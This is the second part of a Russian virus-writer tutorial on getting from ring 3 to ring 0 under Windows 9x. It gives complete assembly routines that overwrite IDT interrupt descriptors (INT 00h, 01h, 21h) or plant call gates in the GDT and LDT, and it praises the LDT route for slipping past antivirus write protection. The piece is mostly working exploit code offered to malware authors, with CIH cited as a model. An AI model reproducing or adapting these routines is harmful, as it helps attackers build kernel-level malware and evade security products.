# ВОЙНА В RING-0

### Часть 2

In your head, in your head
they are dyin'...

В первой части статьи мы говорили о переходе вирусов в ring-0 лишь в теории, а здесь мы рассмотрим практические примеры.

Дела обстоят так: под Win9X существуют открытые на запись таблицы IDT, GDT & LDT. Непосредственную работу с ними мы далее и проведем. Во всех примерах полагаем, что соответствующая таблица находится в памяти, открытой для записи. Также должно быть ясно, что нижеприведенный код работоспособен под ring3/ring0, а не под V86.

## ПЕРЕХОД В RING-0 используя IDT

Итак, IDT (Interrupt Descriptor Table, таблица дескрипторов прерываний) описывает прерывания, существующие в протмоде. То есть, грубо говоря, это селекторы и смещения на каждое прерывание.

Поскольку модель памяти флэтовая, мы просто меняем адрес одного из исключений/прерываний на адрес своей процедуры, вызываем сие исключение/прерывание -- и мы в ring0.

Здесь есть два пути. Можно вызывать исключеня (exception), а можно вызывать прерывания. В чем разница? Прерывание вызывается командой INT, опкод CD ;-). А исключение -- созданной нами тяжелой ситуацией. (А кому щас легко?) Например если попытаться скормить процу опкоды FF FF то он вызовет исключение 06. Делим на 0 -- 00. Трассируем -- 01. Не подгружена страница памяти -- 0E. Глюкавая программа -- 0D. Короче говоря, разница тут между прерываниями и исключениями в том, что если дескриптор описывает исключение (например инт с номерком из вышеперечисленных) то в типе дескриптора у него похеру какой DPL, а если это обычное прерывание, то DPL надо поставить 3 (смотри сюда), иначе вызовется не требуемый инт, а INT 0D (нарушение защиты). Другое дело, если перехватывать сразу 0D.

Пример перехода в ring-0 с использованием IDT, INT 00h. Вызов исключения.

    go_to_ring0:    pusha

                    call    __pop1          ; SEH
                    mov     esp, [esp+8]
                    jmp     __exit
    __pop1:         push    dword ptr fs:[0]
                    mov     fs:[0], esp

                    push    edi             ; получить адрес IDT
                    sidt    [esp-2]
                    pop     edi

                    add     edi, 8*00h      ; адрес дескриптора INT 00h

                    fild    qword ptr [edi] ; сохранить дескриптор

                    call    __pop2          ; получить адрес нового
                                            ; обработчика исключения

                    call    ring0_proc      ; вызвать в ring0

                    dec     eax             ; для нормаьного повтора DIV-а
                    iret                    ; возврат из прерывания в ring-3

    __pop2:         pop     word ptr [edi]  ; установить новый оффсет
                    pop     word ptr [edi+6]; обработчика прерывания

                    xor     eax, eax
                    xor     edx, edx
                    div     eax             ; вызвать INT 00h

                    fistp   qword ptr [edi] ; восстановить дескриптор

    __exit:         pop     dword ptr fs:[0]; SEH
                    pop     eax

                    popa
                    ret

Пример перехода в ring-0 с использованием IDT, INT 01h. Вызов исключения.

    go_to_ring0:    pusha

                    call    __pop1          ; SEH
                    mov     esp, [esp+8]
                    jmp     __exit
    __pop1:         push    dword ptr fs:[0]
                    mov     fs:[0], esp

                    push    edi             ; получить адрес IDT
                    sidt    [esp-2]
                    pop     edi

                    add     edi, 8*01h      ; адрес дескриптора INT 01h

                    fild    qword ptr [edi] ; сохранить дескриптор

                    call    __pop2          ; получить адрес нового
                                            ; обработчика исключения

                    call    ring0_proc      ; вызвать в ring0

                    and     byte ptr [esp+9], not 1   ; убрать TF
                    iret                    ; возврат из прерывания в ring-3

    __pop2:         pop     word ptr [edi]
                    pop     word ptr [edi+6]

                    pushw   7302h           ; установить TF (trace flag)
                    popfw

                    nop                     ; вызвать INT 01h

                    fistp   qword ptr [edi] ; восстановить дескриптор

    __exit:         pop     dword ptr fs:[0]; SEH
                    pop     eax

                    popa
                    ret

Пример перехода в ring-0 с использованием IDT, INT xxh. Вызов прерывания.

    go_to_ring0:    pusha

                    call    __pop1          ; SEH
                    mov     esp, [esp+8]
                    jmp     __exit
    __pop1:         push    dword ptr fs:[0]
                    mov     fs:[0], esp

                    push    edi             ; получить адрес IDT
                    sidt    [esp-2]
                    pop     edi

                    add     edi, 21h*8      ; адрес дескриптора INT xxh

                    fild    qword ptr [edi] ; сохранить дескриптор

                    call    __pop2          ; получить адрес нового
                                            ; обработчика прерывания

                    call    ring0_proc      ; вызвать в ring0
                    iret                    ; возврат из прерывания в ring-3

    __pop2:         pop     ax              ; создать дескриптор прерывания
                    stosw
                    mov     eax, 0EE000028h ; sel=28h, type=IntG32/DPL=3
                    stosd                   ;                      ~~~~~
                    pop     ax
                    stosw

                    int     21h             ; вызвать прерывание

                    fistp   qword ptr [edi-8] ; восстановить дескриптор

    __exit:         pop     dword ptr fs:[0]; SEH
                    pop     eax

                    popa
                    ret

## ПЕРЕХОД В RING-0 используя LDT (GDT)

Таблицы GDT и LDT (Global- и Local Descriptor Table, таблицы глобальных/локальных дескрипторов) суть описывают селекторы, что в протмоде являются заменой старых добрых сегментов. Иногда, правда, кроме селекторов они описывают и более сложные объекты защищенного режима, что нам и потребуется.

Таблица GDT - одна на всех (на то она и Global), а таблиц LDT может не быть не одной, может быть по одной на каждую задачу, а может быть несколько на несколько задач. То есть полное безобразие.

Инфу о таблице GDT можно поиметь при помощи команды SGDT m

                    sgdt    xxx
                    ...
    xxx             label   pword
    gdt_limit       dw      ?
    gdt_base        dd      ?

Как видим можно поиметь gdt_limit -- размер таблицы уменьшенный на 1, и gdt_base -- базовый адрес таблицы.

Инфу о таблице LDT поиметь более сложно, ибо команда LGDT r/m16 возвращает селектор LDT, а дескриптор этого селектора находится в GDT.

                    sldt    ax

Теперь чтобы из этого селектора (который в AX) поиметь базу/размер LDT, надо сделать так:

                    sgdt    xxx
                    mov     ebx, gdt_base   ; EBX = база GDT
                    sldt    ax              ; AX = селектор LDT
                    and     eax, not 111b   ; EAX = (# селектора в GDT) * 8
                    add     ebx, eax        ; EBX = адрес деккриптора LDT
                    mov     edi, [ebx+2-2]  ; EDI = адрес LDT (из дескриптора)
                    mov     ah, [ebx+7]     ;
                    mov     al, [ebx+4]     ;
                    shrd    edi, eax, 16    ;
                    movzx   ecx, word ptr [ebx] ; ECX=размер LDT-1
                    inc     ecx             ; ECX=размер LDT
                    shr     ecx, 3          ; ECX=число дескрипторов в LDT
                    ...
    xxx             label   pword
    gdt_limit       dw      ?
    gdt_base        dd      ?

В чем же отличие GDT от LDT -- для нас? Если взглянуть на вышеприведенный код, то становится понятно, что работать с GDT несомненно проще, чем с LDT, и это так. Но дело тут вот в чем. Существующие антивирусы в состоянии активно противодействовать нашему переходу в ring-0. То есть они уже могут защищать от записи (записи из ring3) страницы памяти в которых находятся GDT и IDT. В частности SPIDER.VXD уже умеет защищать от записи GDT и IDT, и все вирусы читающие/пишушие в эти таблицы (то есть CIH и прочие, с похожим на него переходом в 0 через IDT) -- все они сосут.

А вот с LDT сложнее -- запись в нее использует сам находящийся в ring3 16-битный кернел от маздая, KRNL386.EXE. В этом то и заключается вся хуйня... ;-)

Итак, как же мы собираемся переходить в 0 через LDT/GDT. Как уже было сказано выше, в этих таблицах хранятся не только дескрипторы сегментов. Там еще бывают такие вещи как сегменты состояния задачи, шлюзы перехода (callgate) и еще хрен знает чего. Собственно на последних -- шлюзах -- мы и остановимся.

Шлюз перехода -- это такая хрень, которая позволяет перейти из одного кольца защиты в другое. Конкретно -- из ring3 в ring0. Что собой представляет шлюз перехода? А представляет он собой всего-навсего дескриптор в таблице GDT или LDT, а адреса их мы получать уже умеем. От обычного же дескриптора селектора дескриптор шлюза отличается некоторыми битами.

Вызов шлюза осуществляется путем команды FAR CALL, где в качестве селектора указывается селектор шлюза, оффсет же похую какой. Куда пойдет управление после такого CALL-а? А туда, куда указывает оффсет в дескрипторе шлюза. Вот только кольцо защиты будет уже другое.

Итак, вот переход в ring-0 через GDT:

    go_to_ring0:    pusha

                    call    __pop1          ; SEH

                    mov     esp, [esp+8]
                    jmp     __exit

    __pop1:         push    dword ptr fs:[0]
                    mov     fs:[0], esp

                    call    __pop2          ; получить адрес callgate-а

                    call    ring0_proc      ; вызывается в ring-0
                    retf                    ; здесь RETF -- обратно в ring3

    __pop2:         pop     esi             ; ESI=адрес callgate-а

                    push    edi             ; получить адрес 1-го дескриптора
                    sgdt    [esp-2]         ; GDT (нулевой не используется)
                    pop     edi
                    add     edi, 8

                    fild    qword ptr [edi] ; сохранить дескриптор

                    mov     eax, esi        ; создать дескриптор callgate-а
                    cld
                    stosw
                    mov     eax, 1110110000000000b shl 16 + 28h
                    stosd
                    shld    eax, esi, 16
                    stosw

                    db      9Ah             ; вызов callgate-а
                    dd      0
                    dw      1*8+11b         ; sel.#8, GDT, ring-3

                    fistp   qword ptr [edi-8] ; восстановить дескриптор

    __exit:         pop     dword ptr fs:[0] ; SEH
                    pop     eax

                    popa
                    ret

А вот переход в ring-0 через LDT:

    go_to_ring0:    pusha

                    call    __pop1          ; SEH

                    mov     esp, [esp+8]
                    jmp     __exit

    __pop1:         push    dword ptr fs:[0]
                    mov     fs:[0], esp

                    call    __pop2          ; получить адрес callgate-а

                    call    ring0_proc      ; вызывается в ring-0
                    retf                    ; здесь RETF -- обратно в ring3

    __pop2:         pop     esi             ; ESI=адрес callgate-а

                    push    ebx             ; получить адрес GDT
                    sgdt    [esp-2]
                    pop     ebx

                    sldt    ax              ; получить селектор LDT
                    and     eax, not 111b
                    jz      __exit

                    add     ebx, eax        ; адрес дескритора LDT в GDT

                    mov     edi, [ebx+2-2]  ; получить адрес LDT
                    mov     ah, [ebx+7]
                    mov     al, [ebx+4]
                    shrd    edi, eax, 16

                    fild    qword ptr [edi] ; сохранить дескриптор

                    mov     eax, esi        ; создать дескриптор callgate-а
                    cld
                    stosw
                    mov     eax, 1110110000000000b shl 16 + 28h
                    stosd
                    shld    eax, esi, 16
                    stosw

                    db      9Ah             ; вызов callgate-а
                    dd      0
                    dw      100b+11b        ; sel.#0, LDT, ring-3

                    fistp   qword ptr [edi-8] ; восстановить дескриптор

    __exit:         pop     dword ptr fs:[0] ; SEH
                    pop     eax

                    popa
                    ret

Как видно, в приведенных примерах используется SEH (Self Exception Handling). Вкратце -- это дело обеспечивает переход на метку __exit при возникновении некоторых глюков.